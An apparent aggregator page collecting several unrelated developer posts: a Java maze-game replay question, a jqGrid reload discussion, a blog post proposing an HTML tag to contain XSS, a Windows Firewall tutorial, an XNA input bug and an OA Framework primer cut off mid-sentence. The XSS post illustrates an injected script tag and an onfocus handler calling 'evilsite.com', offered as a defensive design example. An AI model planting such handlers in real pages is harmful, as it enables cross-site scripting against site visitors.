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  • Need some help on how to replay the last game of a java maze game

    - by Marty
    Hello, I am working on creating a Java maze game for a project. The maze is displayed on the console as standard output not in an applet. I have created most of hte code I need, however I am stuck at one problem and that is I need a user to be able to replay the last game i.e redraw the maze with the users moves but without any input from the user. I am not sure on what course of action to take, i was thinking about copying each users move or the position of each move into another array, as you can see i have 2 variables which hold the position of the player, plyrX and plyrY do you think copying these values into a new array after each move would solve my problem and how would i go about this? I have updated my code, apologies about the textIO.java class not being present, not sure how to resolve that exept post a link to TextIO.java [TextIO.java][1] My code below is updated with a new array of type char to hold values from the original maze (read in from text file and displayed using unicode characters) and also to new variables c_plyrX and c_plyrY which I am thinking should hold the values of plyrX and plyrY and copy them into the new array. When I try to call the replayGame(); method from the menu the maze loads for a second then the console exits so im not sure what I am doing wrong Thanks public class MazeGame { //unicode characters that will define the maze walls, //pathways, and in game characters. final static char WALL = '\u2588'; //wall final static char PATH = '\u2591'; //pathway final static char PLAYER = '\u25EF'; //player final static char ENTRANCE = 'E'; //entrance final static char EXIT = '\u2716'; //exit //declaring member variables which will hold the maze co-ordinates //X = rows, Y = columns static int entX = 0; //entrance X co-ordinate static int entY = 1; //entrance y co-ordinate static int plyrX = 0; static int plyrY = 1; static int exitX = 24; //exit X co-ordinate static int exitY = 37; //exit Y co-ordinate //static member variables which hold maze values //used so values can be accessed from different methods static int rows; //rows variable static int cols; //columns variable static char[][] maze; //defines 2 dimensional array to hold the maze //variables that hold player movement values static char dir; //direction static int spaces; //amount of spaces user can travel //variable to hold amount of moves the user has taken; static int movesTaken = 0; //new array to hold player moves for replaying game static char[][] mazeCopy; static int c_plyrX; static int c_plyrY; /** userMenu method for displaying the user menu which will provide various options for * the user to choose such as play a maze game, get instructions, etc. */ public static void userMenu(){ TextIO.putln("Maze Game"); TextIO.putln("*********"); TextIO.putln("Choose an option."); TextIO.putln(""); TextIO.putln("1. Play the Maze Game."); TextIO.putln("2. View Instructions."); TextIO.putln("3. Replay the last game."); TextIO.putln("4. Exit the Maze Game."); TextIO.putln(""); int option; //variable for holding users option TextIO.put("Type your choice: "); option = TextIO.getlnInt(); //gets users option //switch statement for processing menu options switch(option){ case 1: playMazeGame(); case 2: instructions(); case 3: if (c_plyrX == plyrX && c_plyrY == plyrY)replayGame(); else { TextIO.putln("Option not available yet, you need to play a game first."); TextIO.putln(); userMenu(); } case 4: System.exit(0); //exits the user out of the console default: TextIO.put("Option must be 1, 2, 3 or 4"); } } //end of userMenu /**main method, will call the userMenu and get the users choice and call * the relevant method to execute the users choice. */ public static void main(String[]args){ userMenu(); //calls the userMenu method } //end of main method /**instructions method, displays instructions on how to play * the game to the user/ */ public static void instructions(){ TextIO.putln("To beat the Maze Game you have to move your character"); TextIO.putln("through the maze and reach the exit in as few moves as possible."); TextIO.putln(""); TextIO.putln("Your characer is displayed as a " + PLAYER); TextIO.putln("The maze exit is displayed as a " + EXIT); TextIO.putln("Reach the exit and you have won escaped the maze."); TextIO.putln("To control your character type the direction you want to go"); TextIO.putln("and how many spaces you want to move"); TextIO.putln("for example 'D3' will move your character"); TextIO.putln("down 3 spaces."); TextIO.putln("Remember you can't walk through walls!"); boolean insOption; //boolean variable TextIO.putln(""); TextIO.put("Do you want to play the Maze Game now? (Y or N) "); insOption = TextIO.getlnBoolean(); if (insOption == true)playMazeGame(); else userMenu(); } //end of instructions method /**playMazeGame method, calls the loadMaze method and the charMove method * to start playing the Maze Game. */ public static void playMazeGame(){ loadMaze(); plyrMoves(); } //end of playMazeGame method /**loadMaze method, loads the 39x25 maze from the MazeGame.txt text file * and inserts values from the text file into the maze array and * displays the maze on screen using the unicode block characters. * plyrX and plyrY variables are set at their staring co ordinates so that when * a game is completed and the user selects to play a new game * the player character will always be at position 01. */ public static void loadMaze(){ plyrX = 0; plyrY = 1; TextIO.readFile("MazeGame.txt"); //now reads from the external MazeGame.txt file rows = TextIO.getInt(); //gets the number of rows from text file to create X dimensions cols = TextIO.getlnInt(); //gets number of columns from text file to create Y dimensions maze = new char[rows][cols]; //creates maze array of base type char with specified dimnensions //loop to process the array and read in values from the text file. for (int i = 0; i<rows; i++){ for (int j = 0; j<cols; j++){ maze[i][j] = TextIO.getChar(); } TextIO.getln(); } //end for loop TextIO.readStandardInput(); //closes MazeGame.txt file and reads from //standard input. //loop to process the array values and display as unicode characters for (int i = 0; i<rows; i++){ for (int j = 0; j<cols; j++){ if (i == plyrX && j == plyrY){ plyrX = i; plyrY = j; TextIO.put(PLAYER); //puts the player character at player co-ords } else{ if (maze[i][j] == '0') TextIO.putf("%c",WALL); //puts wall block if (maze[i][j] == '1') TextIO.putf("%c",PATH); //puts path block if (maze[i][j] == '2') { entX = i; entY = j; TextIO.putf("%c",ENTRANCE); //puts entrance character } if (maze[i][j] == '3') { exitX = i; //holds value of exit exitY = j; //co-ordinates TextIO.putf("%c",EXIT); //puts exit character } } } TextIO.putln(); } //end for loop } //end of loadMaze method /**redrawMaze method, method for redrawing the maze after each move. * */ public static void redrawMaze(){ TextIO.readFile("MazeGame.txt"); //now reads from the external MazeGame.txt file rows = TextIO.getInt(); //gets the number of rows from text file to create X dimensions cols = TextIO.getlnInt(); //gets number of columns from text file to create Y dimensions maze = new char[rows][cols]; //creates maze array of base type char with specified dimnensions //loop to process the array and read in values from the text file. for (int i = 0; i<rows; i++){ for (int j = 0; j<cols; j++){ maze[i][j] = TextIO.getChar(); } TextIO.getln(); } //end for loop TextIO.readStandardInput(); //closes MazeGame.txt file and reads from //standard input. //loop to process the array values and display as unicode characters for (int i = 0; i<rows; i++){ for (int j = 0; j<cols; j++){ if (i == plyrX && j == plyrY){ plyrX = i; plyrY = j; TextIO.put(PLAYER); //puts the player character at player co-ords } else{ if (maze[i][j] == '0') TextIO.putf("%c",WALL); //puts wall block if (maze[i][j] == '1') TextIO.putf("%c",PATH); //puts path block if (maze[i][j] == '2') { entX = i; entY = j; TextIO.putf("%c",ENTRANCE); //puts entrance character } if (maze[i][j] == '3') { exitX = i; //holds value of exit exitY = j; //co-ordinates TextIO.putf("%c",EXIT); //puts exit character } } } TextIO.putln(); } //end for loop } //end redrawMaze method /**replay game method * */ public static void replayGame(){ c_plyrX = plyrX; c_plyrY = plyrY; TextIO.readFile("MazeGame.txt"); //now reads from the external MazeGame.txt file rows = TextIO.getInt(); //gets the number of rows from text file to create X dimensions cols = TextIO.getlnInt(); //gets number of columns from text file to create Y dimensions mazeCopy = new char[rows][cols]; //creates maze array of base type char with specified dimnensions //loop to process the array and read in values from the text file. for (int i = 0; i<rows; i++){ for (int j = 0; j<cols; j++){ mazeCopy[i][j] = TextIO.getChar(); } TextIO.getln(); } //end for loop TextIO.readStandardInput(); //closes MazeGame.txt file and reads from //standard input. //loop to process the array values and display as unicode characters for (int i = 0; i<rows; i++){ for (int j = 0; j<cols; j++){ if (i == c_plyrX && j == c_plyrY){ c_plyrX = i; c_plyrY = j; TextIO.put(PLAYER); //puts the player character at player co-ords } else{ if (mazeCopy[i][j] == '0') TextIO.putf("%c",WALL); //puts wall block if (mazeCopy[i][j] == '1') TextIO.putf("%c",PATH); //puts path block if (mazeCopy[i][j] == '2') { entX = i; entY = j; TextIO.putf("%c",ENTRANCE); //puts entrance character } if (mazeCopy[i][j] == '3') { exitX = i; //holds value of exit exitY = j; //co-ordinates TextIO.putf("%c",EXIT); //puts exit character } } } TextIO.putln(); } //end for loop } //end replayGame method /**plyrMoves method, method for moving the players character * around the maze. */ public static void plyrMoves(){ int nplyrX = plyrX; int nplyrY = plyrY; int pMoves; direction(); //UP if (dir == 'U' || dir == 'u'){ nplyrX = plyrX; nplyrY = plyrY; for(pMoves = 0; pMoves <= spaces; pMoves++){ if (maze[nplyrX][nplyrY] == '0'){ TextIO.putln("Invalid move, try again."); } else if (pMoves != spaces){ nplyrX =plyrX + 1; } else { plyrX = plyrX-spaces; c_plyrX = plyrX; movesTaken++; } } }//end UP if //DOWN if (dir == 'D' || dir == 'd'){ nplyrX = plyrX; nplyrY = plyrY; for (pMoves = 0; pMoves <= spaces; pMoves ++){ if (maze[nplyrX][nplyrY] == '0'){ TextIO.putln("Invalid move, try again"); } else if (pMoves != spaces){ nplyrX = plyrX+1; } else{ plyrX = plyrX+spaces; c_plyrX = plyrX; movesTaken++; } } } //end DOWN if //LEFT if (dir == 'L' || dir =='l'){ nplyrX = plyrX; nplyrY = plyrY; for (pMoves = 0; pMoves <= spaces; pMoves++){ if (maze[nplyrX][nplyrY] == '0'){ TextIO.putln("Invalid move, try again"); } else if (pMoves != spaces){ nplyrY = plyrY + 1; } else{ plyrY = plyrY-spaces; c_plyrY = plyrY; movesTaken++; } } } //end LEFT if //RIGHT if (dir == 'R' || dir == 'r'){ nplyrX = plyrX; nplyrY = plyrY; for (pMoves = 0; pMoves <= spaces; pMoves++){ if (maze[nplyrX][nplyrY] == '0'){ TextIO.putln("Invalid move, try again."); } else if (pMoves != spaces){ nplyrY += 1; } else{ plyrY = plyrY+spaces; c_plyrY = plyrY; movesTaken++; } } } //end RIGHT if //prints message if player escapes from the maze. if (maze[plyrX][plyrY] == '3'){ TextIO.putln("****Congratulations****"); TextIO.putln(); TextIO.putln("You have escaped from the maze."); TextIO.putln(); userMenu(); } else{ movesTaken++; redrawMaze(); plyrMoves(); } } //end of plyrMoves method /**direction, method * */ public static char direction(){ TextIO.putln("Enter the direction you wish to move in and the distance"); TextIO.putln("i.e D3 = move down 3 spaces"); TextIO.putln("U - Up, D - Down, L - Left, R - Right: "); dir = TextIO.getChar(); if (dir =='U' || dir == 'D' || dir == 'L' || dir == 'R' || dir == 'u' || dir == 'd' || dir == 'l' || dir == 'r'){ spacesMoved(); } else{ loadMaze(); TextIO.putln("Invalid direction!"); TextIO.put("Direction must be one of U, D, L or R"); direction(); } return dir; //returns the value of dir (direction) } //end direction method /**spaces method, gets the amount of spaces the user wants to move * */ public static int spacesMoved(){ TextIO.putln(" "); spaces = TextIO.getlnInt(); if (spaces <= 0){ loadMaze(); TextIO.put("Invalid amount of spaces, try again"); spacesMoved(); } return spaces; } //end spacesMoved method } //end of MazeGame class

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  • Should one replace the usage addJSONData of jqGrid to the usage of setGridParam(), and trigger('relo

    - by Oleg
    Hi everybody who use jqGrid! I am a new on stackoverflow.com and it seems to me that a lot of peoples who use stackoverflow.com are not only the persons who have a problem which must be quickly solved. A lot of people read stackoverflow.com to look at well-known things from the other side. Sometime perhaps the reason is a self-training (to stay in the good form) during solving of problems other people. For all these gays, who not want only to solve his problem is my question. I wrote recently an answer to the question "jqGrid display default “loading” message when updating a table / on custom update". During writing of the answer I thought: why he uses addJSONData() function for refresh of data in the grid instead of changing URL with respect of setGridParam() and refreshing jqGrid data with respect of trigger('reloadGrid')? At the beginning I wanted to recommend using of 'reloadGrid', but after thinking about this I understood, that I am not quite sure what the best way is. At least I can't explain in two sentences why I prefer the second way. So I decide that it could be an interesting subject of a discussion. So to be exactly: We have a typical situation. We have a web page with at least one jqGrid and some other controls like combo-boxes (selects), checkboxes etc. which give user possibilities to change scope on information displayed in a jqGrid. Typically we define some event handler like jQuery("#selector").change(myRefresh).keyup(myKeyRefresh) and we need reload the jqGrid contain based on users choose. After reading and analyzing of the information from additional users input we can refresh jqGrid contain in at least two ways: Make call of $.ajax() manual and then inside of success or complete handle of $.ajax call jQuery.parseJSON() (or eval) and then call addJSONData function of jqGrid. I found a lot of examples on stackoverflow.com who use addJSONData. Update url of jqGrid based on users input, reset current page number to 1 and optionally change the caption of the grid. All these can be done with respect of setGridParam(), and optionally setCaption() jqGrid methods. At the end one call trigger('reloadGrid') method of the grid. To construct the url, by the way I use mostly jQuery.param function to be sure, that I all url parameters packed correctly with respect of encodeURIComponent. I want that we discuss advantages and disadvantages of both ways. I use currently the second way, so I start with advantages of this one. One can say me: I call existing Web Service, convert received data to the jqGrid format and call addJSONData. This is the reason why I use addJSONData method! OK, I choose another way. jqGrid can make a call of the Web Service directly and fill results inside of grid. There are a lot of jqGrid options, which allow you to customize this process. First of all, one can delete or rename any standard parameter sent to server with respect of prmNames option of jqGrid or add any more additional parameters with respect of postData option (see http://www.trirand.com/jqgridwiki/doku.php?id=wiki:options). One can modify all constructed parameters immediately before jqGrid makes corresponding $.ajax request by defining of serializeGridData() function (one more option of jqGrid). More than that, one can change every $.ajax parameter by setting ajaxGridOptions option of jqGrid. I use ajaxGridOptions: {contentType: "application/json"} for example as a general setting of $.jgrid.defaults. The ajaxGridOptions option is very powerful. With respect of ajaxGridOptions option one can redefine any parameter of $.ajax request sending by jqGrid, like error, complete and beforeSend events. I see potentially interesting to define dataFilter event to be able makes any modification of the row data responded from the server. One more argument for using of trigger('reloadGrid') way is blocking of jqGrid during ajax request processing. Mostly I use parameter loadui: 'block' to block jqGrid during JSON request sending to server. With respect of jQuery blockUI plugin http://malsup.com/jquery/block/ one can block more parts of web page as the grid only. To do this one can call jQuery('#main').block({ message: '<h1>Die Daten werden vom Server geladen...</h1>' }); before calling of trigger('reloadGrid') method and jQuery('#main').unblock() inside of loadComplete and loadError functions. The loadui option could be set to 'disable' in this case. So I don’t see why the function addJSONData() should be used. Can somebody who use addJSONData() function explain me advantages of its usage? Should one replace the usage addJSONData of jqGrid to the usage of setGridParam(), and trigger('reloadGrid')? I am opened to the discussion.

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  • Wishful Thinking: Why can't HTML fix Script Attacks at the Source?

    - by Rick Strahl
    The Web can be an evil place, especially if you're a Web Developer blissfully unaware of Cross Site Script Attacks (XSS). Even if you are aware of XSS in all of its insidious forms, it's extremely complex to deal with all the issues if you're taking user input and you're actually allowing users to post raw HTML into an application. I'm dealing with this again today in a Web application where legacy data contains raw HTML that has to be displayed and users ask for the ability to use raw HTML as input for listings. The first line of defense of course is: Just say no to HTML input from users. If you don't allow HTML input directly and use HTML Encoding (HttyUtility.HtmlEncode() in .NET or using standard ASP.NET MVC output @Model.Content) you're fairly safe at least from the HTML input provided. Both WebForms and Razor support HtmlEncoded content, although Razor makes it the default. In Razor the default @ expression syntax:@Model.UserContent automatically produces HTML encoded content - you actually have to go out of your way to create raw HTML content (safe by default) using @Html.Raw() or the HtmlString class. In Web Forms (V4) you can use:<%: Model.UserContent %> or if you're using a version prior to 4.0:<%= HttpUtility.HtmlEncode(Model.UserContent) %> This works great as a hedge against embedded <script> tags and HTML markup as any HTML is turned into text that displays as HTML but doesn't render the HTML. But it turns any embedded HTML markup tags into plain text. If you need to display HTML in raw form with the markup tags rendering based on user input this approach is worthless. If you do accept HTML input and need to echo the rendered HTML input back, the task of cleaning up that HTML is a complex task. In the projects I work on, customers are frequently asking for the ability to post raw HTML quite frequently.  Almost every app that I've built where there's document content from users we start out with text only input - possibly using something like MarkDown - but inevitably users want to just post plain old HTML they created in some other rich editing application. See this a lot with realtors especially who often want to reuse their postings easily in multiple places. In my work this is a common problem I need to deal with and I've tried dozens of different methods from sanitizing, simple rejection of input to custom markup schemes none of which have ever felt comfortable to me. They work in a half assed, hacked together sort of way but I always live in fear of missing something vital which is *really easy to do*. My Wishlist Item: A <restricted> tag in HTML Let me dream here for a second on how to address this problem. It seems to me the easiest place where this can be fixed is: In the browser. Browsers are actually executing script code so they have a lot of control over the script code that resides in a page. What if there was a way to specify that you want to turn off script code for a block of HTML? The main issue when dealing with HTML raw input isn't that we as developers are unaware of the implications of user input, but the fact that we sometimes have to display raw HTML input the user provides. So the problem markup is usually isolated in only a very specific part of the document. So, what if we had a way to specify that in any given HTML block, no script code could execute by wrapping it into a tag that disables all script functionality in the browser? This would include <script> tags and any document script attributes like onclick, onfocus etc. and potentially also disallow things like iFrames that can potentially be scripted from the within the iFrame's target. I'd like to see something along these lines:<article> <restricted allowscripts="no" allowiframes="no"> <div>Some content</div> <script>alert('go ahead make my day, punk!");</script> <div onfocus="$.getJson('http://evilsite.com/')">more content</div> </restricted> </article> A tag like this would basically disallow all script code from firing from any HTML that's rendered within it. You'd use this only on code that you actually render from your data only and only if you are dealing with custom data. So something like this:<article> <restricted> @Html.Raw(Model.UserContent) </restricted> </article> For browsers this would actually be easy to intercept. They render the DOM and control loading and execution of scripts that are loaded through it. All the browser would have to do is suspend execution of <script> tags and not hookup any event handlers defined via markup in this block. Given all the crazy XSS attacks that exist and the prevalence of this problem this would go a long way towards preventing at least coded script attacks in the DOM. And it seems like a totally doable solution that wouldn't be very difficult to implement by vendors. There would also need to be some logic in the parser to not allow an </restricted> or <restricted> tag into the content as to short-circuit the rstricted section (per James Hart's comment). I'm sure there are other issues to consider as well that I didn't think of in my off-the-back-of-a-napkin concept here but the idea overall seems worth consideration I think. Without code running in a user supplied HTML block it'd be pretty hard to compromise a local HTML document and pass information like Cookies to a server. Or even send data to a server period. Short of an iFrame that can access the parent frame (which is another restriction that should be available on this <restricted> tag) that could potentially communicate back, there's not a lot a malicious site could do. The HTML could still 'phone home' via image links and href links potentially and basically say this site was accessed, but without the ability to run script code it would be pretty tough to pass along critical information to the server beyond that. Ahhhh… one can dream… Not holding my breath of course. The design by committee that is the W3C can't agree on anything in timeframes measured less than decades, but maybe this is one place where browser vendors can actually step up the pressure. This is something in their best interest to reduce the attack surface for vulnerabilities on their browser platforms significantly. Several people commented on Twitter today that there isn't enough discussion on issues like this that address serious needs in the web browser space. Realistically security has to be a number one concern with Web applications in general - there isn't a Web app out there that is not vulnerable. And yet nothing has been done to address these security issues even though there might be relatively easy solutions to make this happen. It'll take time, and it's probably not going to happen in our lifetime, but maybe this rambling thought sparks some ideas on how this sort of restriction can get into browsers in some way in the future.© Rick Strahl, West Wind Technologies, 2005-2012Posted in ASP.NET  HTML5  HTML  Security   Tweet !function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs"); (function() { var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true; po.src = 'https://apis.google.com/js/plusone.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s); })();

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  • [GEEK SCHOOL] Network Security 4: Windows Firewall: Your System’s Best Defense

    - by Ciprian Rusen
    If you have your computer connected to a network, or directly to your Internet connection, then having a firewall is an absolute necessity. In this lesson we will discuss the Windows Firewall – one of the best security features available in Windows! The Windows Firewall made its debut in Windows XP. Prior to that, Windows system needed to rely on third-party solutions or dedicated hardware to protect them from network-based attacks. Over the years, Microsoft has done a great job with it and it is one of the best firewalls you will ever find for Windows operating systems. Seriously, it is so good that some commercial vendors have decided to piggyback on it! Let’s talk about what you will learn in this lesson. First, you will learn about what the Windows Firewall is, what it does, and how it works. Afterward, you will start to get your hands dirty and edit the list of apps, programs, and features that are allowed to communicate through the Windows Firewall depending on the type of network you are connected to. Moving on from there, you will learn how to add new apps or programs to the list of allowed items and how to remove the apps and programs that you want to block. Last but not least, you will learn how to enable or disable the Windows Firewall, for only one type of networks or for all network connections. By the end of this lesson, you should know enough about the Windows Firewall to use and manage it effectively. What is the Windows Firewall? Windows Firewall is an important security application that’s built into Windows. One of its roles is to block unauthorized access to your computer. The second role is to permit authorized data communications to and from your computer. Windows Firewall does these things with the help of rules and exceptions that are applied both to inbound and outbound traffic. They are applied depending on the type of network you are connected to and the location you have set for it in Windows, when connecting to the network. Based on your choice, the Windows Firewall automatically adjusts the rules and exceptions applied to that network. This makes the Windows Firewall a product that’s silent and easy to use. It bothers you only when it doesn’t have any rules and exceptions for what you are trying to do or what the programs running on your computer are trying to do. If you need a refresher on the concept of network locations, we recommend you to read our How-To Geek School class on Windows Networking. Another benefit of the Windows Firewall is that it is so tightly and nicely integrated into Windows and all its networking features, that some commercial vendors decided to piggyback onto it and use it in their security products. For example, products from companies like Trend Micro or F-Secure no longer provide their proprietary firewall modules but use the Windows Firewall instead. Except for a few wording differences, the Windows Firewall works the same in Windows 7 and Windows 8.x. The only notable difference is that in Windows 8.x you will see the word “app” being used instead of “program”. Where to Find the Windows Firewall By default, the Windows Firewall is turned on and you don’t need to do anything special in order for it work. You will see it displaying some prompts once in a while but they show up so rarely that you might forget that is even working. If you want to access it and configure the way it works, go to the Control Panel, then go to “System and Security” and select “Windows Firewall”. Now you will see the Windows Firewall window where you can get a quick glimpse on whether it is turned on and the type of network you are connected to: private networks or public network. For the network type that you are connected to, you will see additional information like: The state of the Windows Firewall How the Windows Firewall deals with incoming connections The active network When the Windows Firewall will notify you You can easily expand the other section and view the default settings that apply when connecting to networks of that type. If you have installed a third-party security application that also includes a firewall module, chances are that the Windows Firewall has been disabled, in order to avoid performance issues and conflicts between the two security products. If that is the case for your computer or device, you won’t be able to view any information in the Windows Firewall window and you won’t be able to configure the way it works. Instead, you will see a warning that says: “These settings are being managed by vendor application – Application Name”. In the screenshot below you can see an example of how this looks. How to Allow Desktop Applications Through the Windows Firewall Windows Firewall has a very comprehensive set of rules and most Windows programs that you install add their own exceptions to the Windows Firewall so that they receive network and Internet access. This means that you will see prompts from the Windows Firewall on occasion, generally when you install programs that do not add their own exceptions to the Windows Firewall’s list. In a Windows Firewall prompt, you are asked to select the network locations to which you allow access for that program: private networks or public networks. By default, Windows Firewall selects the checkbox that’s appropriate for the network you are currently using. You can decide to allow access for both types of network locations or just to one of them. To apply your setting press “Allow access”. If you want to block network access for that program, press “Cancel” and the program will be set as blocked for both network locations. At this step you should note that only administrators can set exceptions in the Windows Firewall. If you are using a standard account without administrator permissions, the programs that do not comply with the Windows Firewall rules and exceptions are automatically blocked, without any prompts being shown. You should note that in Windows 8.x you will never see any Windows Firewall prompts related to apps from the Windows Store. They are automatically given access to the network and the Internet based on the assumption that you are aware of the permissions they require based on the information displayed by the Windows Store. Windows Firewall rules and exceptions are automatically created for each app that you install from the Windows Store. However, you can easily block access to the network and the Internet for any app, using the instructions in the next section. How to Customize the Rules for Allowed Apps Windows Firewall allows any user with an administrator account to change the list of rules and exceptions applied for apps and desktop programs. In order to do this, first start the Windows Firewall. On the column on the left, click or tap “Allow an app or feature through Windows Firewall” (in Windows 8.x) or “Allow a program or feature through Windows Firewall” (in Windows 7). Now you see the list of apps and programs that are allowed to communicate through the Windows Firewall. At this point, the list is grayed out and you can only view which apps, features, and programs have rules that are enabled in the Windows Firewall.

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  • Keypress detection wont work after seemingly unrelated code change

    - by LukeZaz
    I'm trying to have the Enter key cause a new 'map' to generate for my game, but for whatever reason after implementing full-screen in it the input check won't work anymore. I tried removing the new code and only pressing one key at a time, but it still won't work. Here's the check code and the method it uses, along with the newMap method: public class Game1 : Microsoft.Xna.Framework.Game { // ... protected override void Update(GameTime gameTime) { // ... // Check if Enter was pressed - if so, generate a new map if (CheckInput(Keys.Enter, 1)) { blocks = newMap(map, blocks, console); } // ... } // Method: Checks if a key is/was pressed public bool CheckInput(Keys key, int checkType) { // Get current keyboard state KeyboardState newState = Keyboard.GetState(); bool retType = false; // Return type if (checkType == 0) { // Check Type: Is key currently down? if (newState.IsKeyDown(key)) { retType = true; } else { retType = false; } } else if (checkType == 1) { // Check Type: Was the key pressed? if (newState.IsKeyDown(key)) { if (!oldState.IsKeyDown(key)) { // Key was just pressed retType = true; } else { // Key was already pressed, return false retType = false; } } } // Save keyboard state oldState = newState; // Return result if (retType == true) { return true; } else { return false; } } // Method: Generate a new map public List<Block> newMap(Map map, List<Block> blockList, Console console) { // Create new map block coordinates List<Vector2> positions = new List<Vector2>(); positions = map.generateMap(console); // Clear list and reallocate memory previously used up by it blockList.Clear(); blockList.TrimExcess(); // Add new blocks to the list using positions created by generateMap() foreach (Vector2 pos in positions) { blockList.Add(new Block() { Position = pos, Texture = dirtTex }); } // Return modified list return blockList; } // ... } and the generateMap code: // Generate a list of Vector2 positions for blocks public List<Vector2> generateMap(Console console, int method = 0) { ScreenTileWidth = gDevice.Viewport.Width / 16; ScreenTileHeight = gDevice.Viewport.Height / 16; maxHeight = gDevice.Viewport.Height; List<Vector2> blockLocations = new List<Vector2>(); if (useScreenSize == true) { Width = ScreenTileWidth; Height = ScreenTileHeight; } else { maxHeight = Height; } int startHeight = -500; // For debugging purposes, the startHeight is set to an // hopefully-unreachable value - if it returns this, something is wrong // Methods of land generation /// <summary> /// Third version land generation /// Generates a base land height as the second version does /// but also generates a 'max change' value which determines how much /// the land can raise or lower by which it now does by a random amount /// during generation /// </summary> if (method == 0) { // Get the land height startHeight = rnd.Next(1, maxHeight); int maxChange = rnd.Next(1, 5); // Amount ground will raise/lower by int curHeight = startHeight; for (int w = 0; w < Width; w++) { // Run a chance to lower/raise ground level int changeBy = rnd.Next(1, maxChange); int doChange = rnd.Next(0, 3); if (doChange == 1 && !(curHeight <= (1 + maxChange))) { curHeight = curHeight - changeBy; } else if (doChange == 2 && !(curHeight >= (29 - maxChange))) { curHeight = curHeight + changeBy; } for (int h = curHeight; h < Height; h++) { // Location variables float x = w * 16; float y = h * 16; blockLocations.Add(new Vector2(x, y)); } } console.newMsg("[INFO] Cur, height change maximum: " + maxChange.ToString()); } /// <summary> /// Second version land generator /// Generates a solid mass of land starting at a random height /// derived from either screen height or provided height value /// </summary> else if (method == 1) { // Get the land height startHeight = rnd.Next(0, 30); for (int w = 0; w < Width; w++) { for (int h = startHeight; h < ScreenTileHeight; h++) { // Location variables float x = w * 16; float y = h * 16; // Add a tile at set location blockLocations.Add(new Vector2(x, y)); } } } /// <summary> /// First version land generator /// Generates land completely randomly either across screen or /// in a box set by Width and Height values /// </summary> else { // For each tile in the map... for (int w = 0; w < Width; w++) { for (int h = 0; h < Height; h++) { // Location variables float x = w * 16; float y = h * 16; // ...decide whether or not to place a tile... if (rnd.Next(0, 2) == 1) { // ...and if so, add a tile at that location. blockLocations.Add(new Vector2(x, y)); } } } } console.newMsg("[INFO] Cur, base height: " + startHeight.ToString()); return blockLocations; } I never touched any of the above code for this when it broke - changing keys won't seem to fix it. Despite this, I have camera movement set inside another Game1 method that uses WASD and works perfectly. All I did was add a few lines of code here: private int BackBufferWidth = 1280; // Added these variables private int BackBufferHeight = 800; public Game1() { graphics = new GraphicsDeviceManager(this); graphics.PreferredBackBufferWidth = BackBufferWidth; // and this graphics.PreferredBackBufferHeight = BackBufferHeight; // this Content.RootDirectory = "Content"; this.graphics.IsFullScreen = true; // and this } When I try adding a console line to be printed in the event the key is pressed, it seems that the If is never even triggered despite the correct key being pressed.

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  • D2K to OA Framework Transition

    - by PRajkumar
    What is the difference between D2K form and OA Framework? It is a very innocent but important question for someone that desires to make transition from D2K to OA Framework. I hope you have already read and implemented OA Framework Getting Started. I will re-visit my own experience of implementing HelloWorld program in "OA Framework". When I implemented HelloWorld a year ago, I had no clue as to what I was doing & why I was doing those steps. I merely copied the steps from Oracle Tutorial without understanding them. Hence in this blog, I will try to explain in simple manner the meaning of OA Framework HelloWorld Program and compare the steps to D2K form [where possible]. To keep things simple, only basics will be discussed. Following key Steps were needed for HelloWorld Step 1 Create a new Workspace and a new Project as dictated by Oracle's tutorial. When defining project, you will specify a default package, which in this case was oracle.apps.ak.hello This means the following: - ak is the short name of the Application in Oracle           [means fnd_applications.short_name] hello is the name of your project Step 2 Next, you will create a OA Page within hello project Think OA Page as the fmx file itself in D2K. I am saying so because this page gets attached to the form function. This page will be created within hello project, hence the package name oracle.apps.ak.hello.webui Note the webui, it is a convention to have page in webui, means this page represents the Web User Interface You will assign the default AM [OAApplicationModule]. Think of AM "Connection Manager" and "Transaction State Manager" for your page          I can't co-relate this to anything in D2k, as there is no concept of Connection Pooling and that D2k is not stateless. Reason being that as soon as you kick off a D2K Form, it connects to a single session of Oracle and sticks to that single Oracle database session. So is not the case in OAF, hence AM is needed. Step 3 You create Region within the Page. ·         Region is what will store your fields. Text input fields will be of type messageTextInput. Think of Canvas in D2K. You can have nested regions. Stacked Canvas in D2K comes the closest to this component of OA Framework Step 4 Add a button to one of the nested regions The itemStyle should be submitButton, in case you want the page to be submitted when this button is clicked There is no WHEN-BUTTON-PRESSED trigger in OAF. In Framework, you will add a controller java code to handle events like Form Submit button clicks. JDeveloper generates the default code for you. Primarily two functions [should I call methods] will be created processRequest [for UI Rendering Handling] and processFormRequest          Think of processRequest as WHEN-NEW-FORM-INSTANCE, though processRequest is very restrictive. Note What is the difference between processRequest and processFormRequest? These two methods are available in the Default Controller class that gets created. processFormRequest This method is commonly used to react/respond to the event that has taken place, for example click of a button. Some examples are if(oapagecontext.getParameter("Cancel") != null) (Do your processing for Cancellation/ Rollback) if(oapagecontext.getParameter("Submit") != null) (Do your validations and commit here) if(oapagecontext.getParameter("Update") != null) (Do your validations and commit here) In the above three examples, you could be calling oapagecontext.forwardImmediately to re-direct the page navigation to some other page if needed. processRequest In this method, usually page rendering related code is written. Effectively, each GUI component is a bean that gets initialised during processRequest. Those who are familiar with D2K forms, something like pre-query may be written in this method. Step 5 In the controller to access the value in field "HelloName" the command is String userContent = pageContext.getParameter("HelloName"); In D2k, we used :block.field. In OAFramework, at submission of page, all the field values get passed into to OAPageContext object. Use getParameter to access the field value To set the value of the field, use OAMessageTextInputBean field HelloName = (OAMessageTextInputBean)webBean.findChildRecursive("HelloName"); fieldHelloName.setText(pageContext,"Setting the default value" ); Note when setting field value in controller: Note 1. Do not set the value in processFormRequest Note 2. If the field comes from View Object, then do not use setText in controller Note 3. For control fields [that are not based on View Objects], you can use setText to assign values in processRequest method Lets take some notes to expand beyond the HelloWorld Project Note 1 In D2K-forms we sort of created a Window, attached to Canvas, and then fields within that Canvas. However in OA Framework, think of Page being fmx/Window, think of Region being a Canvas, and fields being within Regions. This is not a formal/accurate understanding of analogy between D2k and Framework, but is close to being logical. Note 2 In D2k, your Forms fmb file was compiled to fmx. It was fmx file that was deployed on mid-tier. In case of OAF, your OA Page is nothing but a XML file. We call this MDS [meta data]. Whatever name you give to "Page" in OAF, an XML file of the same name gets created. This xml file must then be loaded into database by using XML Importer command. Note 3 Apart from 